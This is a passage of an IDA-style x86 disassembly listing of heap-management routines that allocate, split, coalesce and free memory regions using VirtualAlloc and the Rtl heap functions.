test ecx, ecx
jnz short loc_422C97
mov ecx, [ebp+var_14]
sub ecx, 20h
mov eax, 80000000h
shr eax, cl
mov ecx, [ebp+var_18]
mov edx, [ecx+4]
or edx, eax
mov eax, [ebp+var_18]
mov [eax+4], edx
loc_422C97: ; CODE XREF: sub_422810+46Aj
mov ecx, [ebp+var_14]
sub ecx, 20h
mov edx, 80000000h
shr edx, cl
mov eax, [ebp+var_30]
mov ecx, [ebp+var_38]
mov eax, [ecx+eax*4+0C4h]
or eax, edx
mov ecx, [ebp+var_30]
mov edx, [ebp+var_38]
mov [edx+ecx*4+0C4h], eax
loc_422CC0: ; CODE XREF: sub_422810+292j
; sub_422810+39Cj ...
cmp [ebp+var_8], 0
jz short loc_422CDA
mov eax, [ebp+var_10]
mov ecx, [ebp+var_8]
mov [eax], ecx
mov edx, [ebp+var_10]
add edx, [ebp+var_8]
mov eax, [ebp+var_8]
mov [edx-4], eax
loc_422CDA: ; CODE XREF: sub_422810+4B4j
mov ecx, [ebp+var_10]
add ecx, [ebp+var_8]
mov [ebp+var_10], ecx
mov edx, [ebp+var_28]
add edx, 1
mov eax, [ebp+var_10]
mov [eax], edx
mov ecx, [ebp+var_28]
add ecx, 1
mov edx, [ebp+var_10]
add edx, [ebp+var_28]
mov [edx-4], ecx
mov eax, [ebp+var_4]
mov ecx, [eax]
mov edx, [ebp+var_4]
mov eax, [edx]
add eax, 1
mov edx, [ebp+var_4]
mov [edx], eax
test ecx, ecx
jnz short loc_422D33
mov eax, [ebp+var_18]
cmp eax, ds:dword_4EF054
jnz short loc_422D33
mov ecx, [ebp+var_30]
cmp ecx, ds:dword_4EF04C
jnz short loc_422D33
mov ds:dword_4EF054, 0
loc_422D33: ; CODE XREF: sub_422810+501j
; sub_422810+50Cj ...
mov edx, [ebp+var_38]
mov eax, [ebp+var_30]
mov [edx], eax
mov eax, [ebp+var_10]
add eax, 4
loc_422D41: ; CODE XREF: sub_422810+152j
; sub_422810+178j
pop esi
mov esp, ebp
pop ebp
retn
sub_422810 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_422D50 proc near ; CODE XREF: sub_422810+142p
var_4 = dword ptr -4
push ebp
mov ebp, esp
push ecx
mov eax, ds:dword_4EF058
cmp eax, ds:dword_4EF048
jnz short loc_422DAB
mov ecx, ds:dword_4EF048
add ecx, 10h
imul ecx, 14h
push ecx
mov edx, ds:dword_4EF05C
push edx
push 0
mov eax, ds:dword_4EF060
push eax
call ds:dword_4F1450 ; RtlReAllocateHeap
mov [ebp+var_4], eax
cmp [ebp+var_4], 0
jnz short loc_422D93
xor eax, eax
jmp loc_422E5B
; ---------------------------------------------------------------------------
loc_422D93: ; CODE XREF: sub_422D50+3Aj
mov ecx, [ebp+var_4]
mov ds:dword_4EF05C, ecx
mov edx, ds:dword_4EF048
add edx, 10h
mov ds:dword_4EF048, edx
loc_422DAB: ; CODE XREF: sub_422D50+Fj
mov eax, ds:dword_4EF058
imul eax, 14h
mov ecx, ds:dword_4EF05C
add ecx, eax
mov [ebp+var_4], ecx
push 41C4h
push 8
mov edx, ds:dword_4EF060
push edx
call ds:dword_4F144C ; RtlAllocateHeap
mov ecx, [ebp+var_4]
mov [ecx+10h], eax
mov edx, [ebp+var_4]
cmp dword ptr [edx+10h], 0
jnz short loc_422DE5
xor eax, eax
jmp short loc_422E5B
; ---------------------------------------------------------------------------
loc_422DE5: ; CODE XREF: sub_422D50+8Fj
push 4
push 2000h
push 100000h
push 0
call ds:dword_4F1464 ; VirtualAlloc
mov ecx, [ebp+var_4]
mov [ecx+0Ch], eax
mov edx, [ebp+var_4]
cmp dword ptr [edx+0Ch], 0
jnz short loc_422E22
mov eax, [ebp+var_4]
mov ecx, [eax+10h]
push ecx
push 0
mov edx, ds:dword_4EF060
push edx
call ds:dword_4F1454 ; RtlFreeHeap
xor eax, eax
jmp short loc_422E5B
; ---------------------------------------------------------------------------
loc_422E22: ; CODE XREF: sub_422D50+B6j
mov eax, [ebp+var_4]
mov dword ptr [eax], 0
mov ecx, [ebp+var_4]
mov dword ptr [ecx+4], 0
mov edx, [ebp+var_4]
mov dword ptr [edx+8], 0FFFFFFFFh
mov eax, ds:dword_4EF058
add eax, 1
mov ds:dword_4EF058, eax
mov ecx, [ebp+var_4]
mov edx, [ecx+10h]
mov dword ptr [edx], 0FFFFFFFFh
mov eax, [ebp+var_4]
loc_422E5B: ; CODE XREF: sub_422D50+3Ej
; sub_422D50+93j ...
mov esp, ebp
pop ebp
retn
sub_422D50 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_422E60 proc near ; CODE XREF: sub_422810+15Bp
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 2Ch
mov eax, [ebp+arg_0]
mov ecx, [eax+10h]
mov [ebp+var_2C], ecx
mov edx, [ebp+arg_0]
mov eax, [edx+8]
mov [ebp+var_8], eax
mov [ebp+var_28], 0
loc_422E7F: ; CODE XREF: sub_422E60+36j
cmp [ebp+var_8], 0
jl short loc_422E98
mov ecx, [ebp+var_8]
shl ecx, 1
mov [ebp+var_8], ecx
mov edx, [ebp+var_28]
add edx, 1
mov [ebp+var_28], edx
jmp short loc_422E7F
; ---------------------------------------------------------------------------
loc_422E98: ; CODE XREF: sub_422E60+23j
mov eax, [ebp+var_28]
imul eax, 204h
mov ecx, [ebp+var_2C]
lea edx, [ecx+eax+144h]
mov [ebp+var_C], edx
mov [ebp+var_20], 0
jmp short loc_422EC0
; ---------------------------------------------------------------------------
loc_422EB7: ; CODE XREF: sub_422E60+84j
mov eax, [ebp+var_20]
add eax, 1
mov [ebp+var_20], eax
loc_422EC0: ; CODE XREF: sub_422E60+55j
cmp [ebp+var_20], 3Fh
jge short loc_422EE6
mov ecx, [ebp+var_20]
mov edx, [ebp+var_C]
lea eax, [edx+ecx*8]
mov [ebp+var_18], eax
mov ecx, [ebp+var_18]
mov edx, [ebp+var_18]
mov [ecx+8], edx
mov eax, [ebp+var_18]
mov ecx, [ebp+var_18]
mov [eax+4], ecx
jmp short loc_422EB7
; ---------------------------------------------------------------------------
loc_422EE6: ; CODE XREF: sub_422E60+64j
mov edx, [ebp+var_28]
shl edx, 0Fh
mov eax, [ebp+arg_0]
mov ecx, [eax+0Ch]
add ecx, edx
mov [ebp+var_10], ecx
push 4
push 1000h
push 8000h
mov edx, [ebp+var_10]
push edx
call ds:dword_4F1464 ; VirtualAlloc
test eax, eax
jnz short loc_422F19
or eax, 0FFFFFFFFh
jmp loc_42304A
; ---------------------------------------------------------------------------
loc_422F19: ; CODE XREF: sub_422E60+AFj
mov eax, [ebp+var_10]
add eax, 7000h
mov [ebp+var_1C], eax
mov ecx, [ebp+var_10]
mov [ebp+var_4], ecx
jmp short loc_422F38
; ---------------------------------------------------------------------------
loc_422F2C: ; CODE XREF: sub_422E60+13Bj
mov edx, [ebp+var_4]
add edx, 1000h
mov [ebp+var_4], edx
loc_422F38: ; CODE XREF: sub_422E60+CAj
mov eax, [ebp+var_4]
cmp eax, [ebp+var_1C]
ja short loc_422F9D
mov ecx, [ebp+var_4]
mov dword ptr [ecx+8], 0FFFFFFFFh
mov edx, [ebp+var_4]
mov dword ptr [edx+0FFCh], 0FFFFFFFFh
mov eax, [ebp+var_4]
add eax, 0Ch
mov [ebp+var_18], eax
mov ecx, [ebp+var_18]
mov dword ptr [ecx], 0FF0h
mov edx, [ebp+var_18]
add edx, 1000h
mov eax, [ebp+var_18]
mov [eax+4], edx
mov ecx, [ebp+var_18]
sub ecx, 1000h
mov edx, [ebp+var_18]
mov [edx+8], ecx
mov eax, [ebp+var_18]
add eax, 0FECh
mov [ebp+var_24], eax
mov ecx, [ebp+var_24]
mov dword ptr [ecx], 0FF0h
jmp short loc_422F2C
; ---------------------------------------------------------------------------
loc_422F9D: ; CODE XREF: sub_422E60+DEj
mov edx, [ebp+var_C]
add edx, 1F8h
mov [ebp+var_14], edx
mov eax, [ebp+var_10]
add eax, 0Ch
mov ecx, [ebp+var_14]
mov [ecx+4], eax
mov edx, [ebp+var_14]
mov eax, [edx+4]
mov [ebp+var_18], eax
mov ecx, [ebp+var_18]
mov edx, [ebp+var_14]
mov [ecx+8], edx
mov eax, [ebp+var_1C]
add eax, 0Ch
mov ecx, [ebp+var_14]
mov [ecx+8], eax
mov edx, [ebp+var_14]
mov eax, [edx+8]
mov [ebp+var_18], eax
mov ecx, [ebp+var_18]
mov edx, [ebp+var_14]
mov [ecx+4], edx
mov eax, [ebp+var_28]
mov ecx, [ebp+var_2C]
mov dword ptr [ecx+eax*4+44h], 0
mov edx, [ebp+var_28]
mov eax, [ebp+var_2C]
mov dword ptr [eax+edx*4+0C4h], 1
mov ecx, [ebp+var_2C]
movsx edx, byte ptr [ecx+43h]
mov eax, [ebp+var_2C]
mov cl, [eax+43h]
add cl, 1
mov eax, [ebp+var_2C]
mov [eax+43h], cl
test edx, edx
jnz short loc_42302D
mov ecx, [ebp+arg_0]
mov edx, [ecx+4]
or edx, 1
mov eax, [ebp+arg_0]
mov [eax+4], edx
loc_42302D: ; CODE XREF: sub_422E60+1BCj
mov edx, 80000000h
mov ecx, [ebp+var_28]
shr edx, cl
not edx
mov eax, [ebp+arg_0]
mov ecx, [eax+8]
and ecx, edx
mov edx, [ebp+arg_0]
mov [edx+8], ecx
mov eax, [ebp+var_28]
loc_42304A: ; CODE XREF: sub_422E60+B4j
mov esp, ebp
pop ebp
retn
sub_422E60 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_423050 proc near ; CODE XREF: sub_421C60+50p
; sub_421D10+81p
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 30h
mov eax, [ebp+arg_8]
add eax, 17h
and al, 0F0h
mov [ebp+var_1C], eax
mov ecx, [ebp+arg_0]
mov edx, [ecx+10h]
mov [ebp+var_30], edx
mov eax, [ebp+arg_0]
mov ecx, [ebp+arg_4]
sub ecx, [eax+0Ch]
mov [ebp+var_C], ecx
mov edx, [ebp+var_C]
shr edx, 0Fh
mov [ebp+var_4], edx
mov eax, [ebp+var_4]
imul eax, 204h
mov ecx, [ebp+var_30]
lea edx, [ecx+eax+144h]
mov [ebp+var_8], edx
mov eax, [ebp+arg_4]
sub eax, 4
mov [ebp+var_14], eax
mov ecx, [ebp+var_14]
mov edx, [ecx]
sub edx, 1
mov [ebp+var_28], edx
mov eax, [ebp+var_14]
add eax, [ebp+var_28]
mov [ebp+var_2C], eax
mov ecx, [ebp+var_2C]
mov edx, [ecx]
mov [ebp+var_10], edx
mov eax, [ebp+var_1C]
cmp eax, [ebp+var_28]
jle loc_423376
mov ecx, [ebp+var_10]
and ecx, 1
test ecx, ecx
jnz short loc_4230DB
mov edx, [ebp+var_28]
add edx, [ebp+var_10]
cmp [ebp+var_1C], edx
jle short loc_4230E2
loc_4230DB: ; CODE XREF: sub_423050+7Ej
xor eax, eax
jmp loc_423637
; ---------------------------------------------------------------------------
loc_4230E2: ; CODE XREF: sub_423050+89j
mov eax, [ebp+var_10]
sar eax, 4
sub eax, 1
mov [ebp+var_20], eax
cmp [ebp+var_20], 3Fh
jbe short loc_4230FB
mov [ebp+var_20], 3Fh
loc_4230FB: ; CODE XREF: sub_423050+A2j
mov ecx, [ebp+var_2C]
mov edx, [ebp+var_2C]
mov eax, [ecx+4]
cmp eax, [edx+8]
jnz loc_4231DD
cmp [ebp+var_20], 20h
jnb short loc_423172
mov edx, 80000000h
mov ecx, [ebp+var_20]
shr edx, cl
not edx
mov eax, [ebp+var_4]
mov ecx, [ebp+var_30]
mov eax, [ecx+eax*4+44h]
and eax, edx
mov ecx, [ebp+var_4]
mov edx, [ebp+var_30]
mov [edx+ecx*4+44h], eax
mov eax, [ebp+var_30]
add eax, [ebp+var_20]
mov cl, [eax+4]
sub cl, 1
mov edx, [ebp+var_30]
add edx, [ebp+var_20]
mov [edx+4], cl
mov eax, [ebp+var_30]
add eax, [ebp+var_20]
movsx ecx, byte ptr [eax+4]
test ecx, ecx
jnz short loc_423170
mov edx, 80000000h
mov ecx, [ebp+var_20]
shr edx, cl
not edx
mov eax, [ebp+arg_0]
mov ecx, [eax]
and ecx, edx
mov edx, [ebp+arg_0]
mov [edx], ecx
loc_423170: ; CODE XREF: sub_423050+106j
jmp short loc_4231DD
; ---------------------------------------------------------------------------
loc_423172: ; CODE XREF: sub_423050+C1j
mov ecx, [ebp+var_20]
sub ecx, 20h
mov eax, 80000000h
shr eax, cl
not eax
mov ecx, [ebp+var_4]
mov edx, [ebp+var_30]
mov ecx, [edx+ecx*4+0C4h]
and ecx, eax
mov edx, [ebp+var_4]
mov eax, [ebp+var_30]
mov [eax+edx*4+0C4h], ecx
mov ecx, [ebp+var_30]
add ecx, [ebp+var_20]
mov dl, [ecx+4]
sub dl, 1
mov eax, [ebp+var_30]
add eax, [ebp+var_20]
mov [eax+4], dl
mov ecx, [ebp+var_30]
add ecx, [ebp+var_20]
movsx edx, byte ptr [ecx+4]
test edx, edx
jnz short loc_4231DD
mov ecx, [ebp+var_20]
sub ecx, 20h
mov eax, 80000000h
shr eax, cl
not eax
mov ecx, [ebp+arg_0]
mov edx, [ecx+4]
and edx, eax
mov eax, [ebp+arg_0]
mov [eax+4], edx
loc_4231DD: ; CODE XREF: sub_423050+B7j
; sub_423050:loc_423170j ...
mov ecx, [ebp+var_2C]
mov edx, [ecx+8]
mov eax, [ebp+var_2C]
mov ecx, [eax+4]
mov [edx+4], ecx
mov edx, [ebp+var_2C]
mov eax, [edx+4]
mov ecx, [ebp+var_2C]
mov edx, [ecx+8]
mov [eax+8], edx
mov eax, [ebp+var_28]
add eax, [ebp+var_10]
sub eax, [ebp+var_1C]
mov [ebp+var_10], eax
cmp [ebp+var_10], 0
jle loc_423357
mov ecx, [ebp+var_14]
add ecx, [ebp+var_1C]
mov [ebp+var_2C], ecx
mov edx, [ebp+var_10]
sar edx, 4
sub edx, 1
mov [ebp+var_20], edx
cmp [ebp+var_20], 3Fh
jbe short loc_423233
mov [ebp+var_20], 3Fh
loc_423233: ; CODE XREF: sub_423050+1DAj
mov eax, [ebp+var_20]
mov ecx, [ebp+var_8]
lea edx, [ecx+eax*8]
mov [ebp+var_18], edx
mov eax, [ebp+var_2C]
mov ecx, [ebp+var_18]
mov edx, [ecx+4]
mov [eax+4], edx
mov eax, [ebp+var_2C]
mov ecx, [ebp+var_18]
mov [eax+8], ecx
mov edx, [ebp+var_18]
mov eax, [ebp+var_2C]
mov [edx+4], eax
mov ecx, [ebp+var_2C]
mov edx, [ecx+4]
mov eax, [ebp+var_2C]
mov [edx+8], eax
mov ecx, [ebp+var_2C]
mov edx, [ebp+var_2C]
mov eax, [ecx+4]
cmp eax, [edx+8]
jnz loc_423343
cmp [ebp+var_20], 20h
jnb short loc_4232DC
mov ecx, [ebp+var_30]
add ecx, [ebp+var_20]
movsx edx, byte ptr [ecx+4]
mov eax, [ebp+var_30]
add eax, [ebp+var_20]
mov cl, [eax+4]
add cl, 1
mov eax, [ebp+var_30]
add eax, [ebp+var_20]
mov [eax+4], cl
test edx, edx
jnz short loc_4232BA
mov edx, 80000000h
mov ecx, [ebp+var_20]
shr edx, cl
mov eax, [ebp+arg_0]
mov ecx, [eax]
or ecx, edx
mov edx, [ebp+arg_0]
mov [edx], ecx
loc_4232BA: ; CODE XREF: sub_423050+252j
mov eax, 80000000h
mov ecx, [ebp+var_20]
shr eax, cl
mov ecx, [ebp+var_4]
mov edx, [ebp+var_30]
mov ecx, [edx+ecx*4+44h]
or ecx, eax
mov edx, [ebp+var_4]
mov eax, [ebp+var_30]
mov [eax+edx*4+44h], ecx
jmp short loc_423343
; ---------------------------------------------------------------------------
loc_4232DC: ; CODE XREF: sub_423050+22Fj
mov ecx, [ebp+var_30]
add ecx, [ebp+var_20]
movsx edx, byte ptr [ecx+4]
mov eax, [ebp+var_30]
add eax, [ebp+var_20]
mov cl, [eax+4]
add cl, 1
mov eax, [ebp+var_30]
add eax, [ebp+var_20]
mov [eax+4], cl
test edx, edx
jnz short loc_42331A
mov ecx, [ebp+var_20]
sub ecx, 20h
mov edx, 80000000h
shr edx, cl
mov eax, [ebp+arg_0]
mov ecx, [eax+4]
or ecx, edx
mov edx, [ebp+arg_0]
mov [edx+4], ecx
loc_42331A: ; CODE XREF: sub_423050+2ADj
mov ecx, [ebp+var_20]
sub ecx, 20h
mov eax, 80000000h
shr eax, cl
mov ecx, [ebp+var_4]
mov edx, [ebp+var_30]
mov ecx, [edx+ecx*4+0C4h]
or ecx, eax
mov edx, [ebp+var_4]
mov eax, [ebp+var_30]
mov [eax+edx*4+0C4h], ecx
loc_423343: ; CODE XREF: sub_423050+225j
; sub_423050+28Aj
mov ecx, [ebp+var_2C]
mov edx, [ebp+var_10]
mov [ecx], edx
mov eax, [ebp+var_2C]
add eax, [ebp+var_10]
mov ecx, [ebp+var_10]
mov [eax-4], ecx
loc_423357: ; CODE XREF: sub_423050+1BBj
mov edx, [ebp+var_1C]
add edx, 1
mov eax, [ebp+var_14]
mov [eax], edx
mov ecx, [ebp+var_1C]
add ecx, 1
mov edx, [ebp+var_14]
add edx, [ebp+var_1C]
mov [edx-4], ecx
jmp loc_423632
; ---------------------------------------------------------------------------
loc_423376: ; CODE XREF: sub_423050+70j
mov eax, [ebp+var_1C]
cmp eax, [ebp+var_28]
jge loc_423632
mov ecx, [ebp+var_1C]
add ecx, 1
mov edx, [ebp+var_14]
mov [edx], ecx
mov eax, [ebp+var_1C]
add eax, 1
mov ecx, [ebp+var_14]
add ecx, [ebp+var_1C]
mov [ecx-4], eax
mov edx, [ebp+var_14]
add edx, [ebp+var_1C]
mov [ebp+var_14], edx
mov eax, [ebp+var_28]
sub eax, [ebp+var_1C]
mov [ebp+var_28], eax
mov ecx, [ebp+var_28]
sar ecx, 4
sub ecx, 1
mov [ebp+var_24], ecx
cmp [ebp+var_24], 3Fh
jbe short loc_4233C7
mov [ebp+var_24], 3Fh
loc_4233C7: ; CODE XREF: sub_423050+36Ej
mov edx, [ebp+var_10]
and edx, 1
test edx, edx
jnz loc_423510
mov eax, [ebp+var_10]
sar eax, 4
sub eax, 1
mov [ebp+var_20], eax
cmp [ebp+var_20], 3Fh
jbe short loc_4233EE
mov [ebp+var_20], 3Fh
loc_4233EE: ; CODE XREF: sub_423050+395j
mov ecx, [ebp+var_2C]
mov edx, [ebp+var_2C]
mov eax, [ecx+4]
cmp eax, [edx+8]
jnz loc_4234D0
cmp [ebp+var_20], 20h
jnb short loc_423465
mov edx, 80000000h
mov ecx, [ebp+var_20]
shr edx, cl
not edx
mov eax, [ebp+var_4]
mov ecx, [ebp+var_30]
mov eax, [ecx+eax*4+44h]
and eax, edx
mov ecx, [ebp+var_4]
mov edx, [ebp+var_30]
mov [edx+ecx*4+44h], eax
mov eax, [ebp+var_30]
add eax, [ebp+var_20]
mov cl, [eax+4]
sub cl, 1
mov edx, [ebp+var_30]
add edx, [ebp+var_20]
mov [edx+4], cl
mov eax, [ebp+var_30]
add eax, [ebp+var_20]
movsx ecx, byte ptr [eax+4]
test ecx, ecx
jnz short loc_423463
mov edx, 80000000h
mov ecx, [ebp+var_20]
shr edx, cl
not edx
mov eax, [ebp+arg_0]
mov ecx, [eax]
and ecx, edx
mov edx, [ebp+arg_0]
mov [edx], ecx
loc_423463: ; CODE XREF: sub_423050+3F9j
jmp short loc_4234D0
; ---------------------------------------------------------------------------
loc_423465: ; CODE XREF: sub_423050+3B4j
mov ecx, [ebp+var_20]
sub ecx, 20h
mov eax, 80000000h
shr eax, cl
not eax
mov ecx, [ebp+var_4]
mov edx, [ebp+var_30]
mov ecx, [edx+ecx*4+0C4h]
and ecx, eax
mov edx, [ebp+var_4]
mov eax, [ebp+var_30]
mov [eax+edx*4+0C4h], ecx
mov ecx, [ebp+var_30]
add ecx, [ebp+var_20]
mov dl, [ecx+4]
sub dl, 1
mov eax, [ebp+var_30]
add eax, [ebp+var_20]
mov [eax+4], dl
mov ecx, [ebp+var_30]
add ecx, [ebp+var_20]
movsx edx, byte ptr [ecx+4]
test edx, edx
jnz short loc_4234D0
mov ecx, [ebp+var_20]
sub ecx, 20h
mov eax, 80000000h
shr eax, cl
not eax
mov ecx, [ebp+arg_0]
mov edx, [ecx+4]
and edx, eax
mov eax, [ebp+arg_0]
mov [eax+4], edx
loc_4234D0: ; CODE XREF: sub_423050+3AAj
; sub_423050:loc_423463j ...
mov ecx, [ebp+var_2C]
mov edx, [ecx+8]
mov eax, [ebp+var_2C]
mov ecx, [eax+4]
mov [edx+4], ecx
mov edx, [ebp+var_2C]
mov eax, [edx+4]
mov ecx, [ebp+var_2C]
mov edx, [ecx+8]
mov [eax+8], edx
mov eax, [ebp+var_28]
add eax, [ebp+var_10]
mov [ebp+var_28], eax
mov ecx, [ebp+var_28]
sar ecx, 4
sub ecx, 1
mov [ebp+var_24], ecx
cmp [ebp+var_24], 3Fh
jbe short loc_423510
mov [ebp+var_24], 3Fh
loc_423510: ; CODE XREF: sub_423050+37Fj
; sub_423050+4B7j
mov edx, [ebp+var_24]
mov eax, [ebp+var_8]
lea ecx, [eax+edx*8]
mov [ebp+var_18], ecx
mov edx, [ebp+var_14]
mov eax, [ebp+var_18]
mov ecx, [eax+4]
mov [edx+4], ecx
mov edx, [ebp+var_14]
mov eax, [ebp+var_18]
mov [edx+8], eax
mov ecx, [ebp+var_18]
mov edx, [ebp+var_14]
mov [ecx+4], edx
mov eax, [ebp+var_14]
mov ecx, [eax+4]
mov edx, [ebp+var_14]
mov [ecx+8], edx
mov eax, [ebp+var_14]
mov ecx, [ebp+var_14]
mov edx, [eax+4]
cmp edx, [ecx+8]
jnz loc_42361E
cmp [ebp+var_24], 20h
jnb short loc_4235B8
mov eax, [ebp+var_30]
add eax, [ebp+var_24]
movsx ecx, byte ptr [eax+4]
mov edx, [ebp+var_30]
add edx, [ebp+var_24]
mov al, [edx+4]
add al, 1
mov edx, [ebp+var_30]
add edx, [ebp+var_24]
mov [edx+4], al
test ecx, ecx
jnz short loc_423596
mov eax, 80000000h
mov ecx, [ebp+var_24]
shr eax, cl
mov ecx, [ebp+arg_0]
mov edx, [ecx]
or edx, eax
mov eax, [ebp+arg_0]
mov [eax], edx
loc_423596: ; CODE XREF: sub_423050+52Ej
mov edx, 80000000h
mov ecx, [ebp+var_24]
shr edx, cl
mov eax, [ebp+var_4]
mov ecx, [ebp+var_30]
mov eax, [ecx+eax*4+44h]
or eax, edx
mov ecx, [ebp+var_4]
mov edx, [ebp+var_30]
mov [edx+ecx*4+44h], eax
jmp short loc_42361E
; ---------------------------------------------------------------------------
loc_4235B8: ; CODE XREF: sub_423050+50Cj
mov eax, [ebp+var_30]
add eax, [ebp+var_24]
movsx ecx, byte ptr [eax+4]
mov edx, [ebp+var_30]
add edx, [ebp+var_24]
mov al, [edx+4]
add al, 1
mov edx, [ebp+var_30]
add edx, [ebp+var_24]
mov [edx+4], al
test ecx, ecx
jnz short loc_4235F5
mov ecx, [ebp+var_24]
sub ecx, 20h
mov eax, 80000000h
shr eax, cl
mov ecx, [ebp+arg_0]
mov edx, [ecx+4]
or edx, eax
mov eax, [ebp+arg_0]
mov [eax+4], edx
loc_4235F5: ; CODE XREF: sub_423050+588j
mov ecx, [ebp+var_24]
sub ecx, 20h
mov edx, 80000000h
shr edx, cl
mov eax, [ebp+var_4]
mov ecx, [ebp+var_30]
mov eax, [ecx+eax*4+0C4h]
or eax, edx
mov ecx, [ebp+var_4]
mov edx, [ebp+var_30]
mov [edx+ecx*4+0C4h], eax
loc_42361E: ; CODE XREF: sub_423050+502j
; sub_423050+566j
mov eax, [ebp+var_14]
mov ecx, [ebp+var_28]
mov [eax], ecx
mov edx, [ebp+var_14]
add edx, [ebp+var_28]
mov eax, [ebp+var_28]
mov [edx-4], eax
loc_423632: ; CODE XREF: sub_423050+321j
; sub_423050+32Cj
mov eax, 1
loc_423637: ; CODE XREF: sub_423050+8Dj
mov esp, ebp
pop ebp
retn
sub_423050 endp
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
push ecx
cmp ds:dword_4EF054, 0
jz loc_42376C
mov eax, ds:dword_4EF04C
shl eax, 0Fh
mov ecx, ds:dword_4EF054
mov edx, [ecx+0Ch]
add edx, eax
mov [ebp-4], edx
push 4000h
push 8000h
mov eax, [ebp-4]
push eax
call ds:dword_4F1460 ; VirtualFree
mov edx, 80000000h
mov ecx, ds:dword_4EF04C
shr edx, cl
mov eax, ds:dword_4EF054
mov ecx, [eax+8]
or ecx, edx
mov edx, ds:dword_4EF054
mov [edx+8], ecx
mov eax, ds:dword_4EF054
mov ecx, [eax+10h]
mov edx, ds:dword_4EF04C
mov dword ptr [ecx+edx*4+0C4h], 0
mov eax, ds:dword_4EF054
mov ecx, [eax+10h]
mov dl, [ecx+43h]
sub dl, 1
mov eax, ds:dword_4EF054
mov ecx, [eax+10h]
mov [ecx+43h], dl
mov edx, ds:dword_4EF054
mov eax, [edx+10h]
movsx ecx, byte ptr [eax+43h]
test ecx, ecx
jnz short loc_4236F2
mov edx, ds:dword_4EF054
mov eax, [edx+4]
and al, 0FEh
mov ecx, ds:dword_4EF054
mov [ecx+4], eax
loc_4236F2: ; CODE XREF: seg000:004236DCj
mov edx, ds:dword_4EF054
cmp dword ptr [edx+8], 0FFFFFFFFh
jnz short loc_423762
cmp ds:dword_4EF058, 1
jle short loc_423762
mov eax, ds:dword_4EF054
mov ecx, [eax+10h]
push ecx
push 0
mov edx, ds:dword_4EF060
push edx
call ds:dword_4F1454 ; RtlFreeHeap
mov eax, ds:dword_4EF058
imul eax, 14h
mov ecx, ds:dword_4EF05C
add ecx, eax
mov edx, ds:dword_4EF054
add edx, 14h
sub ecx, edx
push ecx
mov eax, ds:dword_4EF054
add eax, 14h
push eax
mov ecx, ds:dword_4EF054
push ecx
call sub_41F9A0
add esp, 0Ch
mov edx, ds:dword_4EF058
sub edx, 1
mov ds:dword_4EF058, edx
loc_423762: ; CODE XREF: seg000:004236FCj
; seg000:00423705j
mov ds:dword_4EF054, 0
loc_42376C: ; CODE XREF: seg000:0042364Bj
mov esp, ebp
pop ebp
retn
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_423770 proc near ; CODE XREF: sub_421F70+15p
var_168 = dword ptr -168h
var_164 = dword ptr -164h
var_160 = dword ptr -160h
var_15C = dword ptr -15Ch
var_158 = dword ptr -158h
var_154 = dword ptr -154h
var_150 = dword ptr -150h
var_14C = dword ptr -14Ch
var_148 = dword ptr -148h
var_144 = dword ptr -144h
var_140 = dword ptr -140h
var_13C = dword ptr -13Ch
var_138 = dword ptr -138h
var_134 = dword ptr -134h
var_130 = dword ptr -130h
var_12C = dword ptr -12Ch
var_128 = dword ptr -128h
var_124 = dword ptr -124h
var_120 = dword ptr -120h
var_11C = dword ptr -11Ch
var_118 = dword ptr -118h
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
push ebp
mov ebp, esp
sub esp, 168h
mov eax, ds:dword_4EF058
imul eax, 14h
push eax
mov ecx, ds:dword_4EF05C
push ecx
call near ptr 3D0000h
db 36h
test eax, eax
jz short loc_42379B
or eax, 0FFFFFFFFh
jmp loc_423D89
; ---------------------------------------------------------------------------
loc_42379B: ; CODE XREF: sub_423770+21j
mov edx, ds:dword_4EF05C
mov [ebp+var_13C], edx
mov [ebp+var_120], 0
jmp short loc_4237C2
; ---------------------------------------------------------------------------
loc_4237B3: ; CODE XREF: sub_423770+612j
mov eax, [ebp+var_120]
add eax, 1
mov [ebp+var_120], eax
loc_4237C2: ; CODE XREF: sub_423770+41j
mov ecx, [ebp+var_120]
cmp ecx, ds:dword_4EF058
jge loc_423D87
mov edx, [ebp+var_13C]
mov eax, [edx+10h]
mov [ebp+var_160], eax
push 41C4h
mov ecx, [ebp+var_160]
push ecx
call near ptr 3D0000h
pop edi
test eax, eax
jz short loc_423803
mov eax, 0FFFFFFFEh
jmp loc_423D89
; ---------------------------------------------------------------------------
loc_423803: ; CODE XREF: sub_423770+87j
mov edx, [ebp+var_13C]
mov eax, [edx+0Ch]
mov [ebp+var_128], eax
mov ecx, [ebp+var_160]
add ecx, 144h
mov [ebp+var_18], ecx
mov edx, [ebp+var_13C]
mov eax, [edx+8]
mov [ebp+var_4], eax
mov [ebp+var_144], 0
mov [ebp+var_158], 0
mov [ebp+var_C], 0
jmp short loc_423853
; ---------------------------------------------------------------------------
loc_42384A: ; CODE XREF: sub_423770+5D6j
mov ecx, [ebp+var_C]
add ecx, 1
mov [ebp+var_C], ecx
loc_423853: ; CODE XREF: sub_423770+D8j
cmp [ebp+var_C], 20h
jge loc_423D4B
mov [ebp+var_11C], 0
mov [ebp+var_150], 0
mov [ebp+var_12C], 0
mov [ebp+var_14C], 0
jmp short loc_423896
; ---------------------------------------------------------------------------
